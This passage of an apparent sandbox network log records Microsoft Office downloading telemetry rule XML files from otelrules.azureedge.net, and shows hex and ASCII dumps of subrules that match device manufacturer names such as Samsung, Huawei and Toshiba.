54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:37 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020838Z-178bfbc474bkvpdnhC1NYCuu2w00000000vg00000000nhsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020838Z-178bfbc474bscnbchC1NYCe7eg000000010000000000bya4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020838Z-r1d97b99577n4dznhC1TEBc1qw00000009r000000000f7wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020838Z-1777c6cb754gc8g6hC1TEB966c0000000agg000000003r0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:37 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020838Z-1777c6cb754rz2pghC1TEBghen0000000a9g00000000gtte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:39 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020840Z-178bfbc474bmqmgjhC1NYCy16c00000000z000000000579p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:40 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020840Z-178bfbc474bxkclvhC1NYC69g400000000pg00000000xe1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:40 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: bf645307-501e-007b-7599-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020840Z-r1d97b995777mdbwhC1TEBezag00000009p000000000fez0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020840Z-1777c6cb754b7tdghC1TEBwwa40000000ang000000005h3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020840Z-r1d97b99577sdxndhC1TEBec5n00000009tg00000000frw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020842Z-178bfbc474bxkclvhC1NYC69g400000000u0000000008a5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020842Z-r1d97b99577hc74hhC1TEBvbns00000009p0000000003ema x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
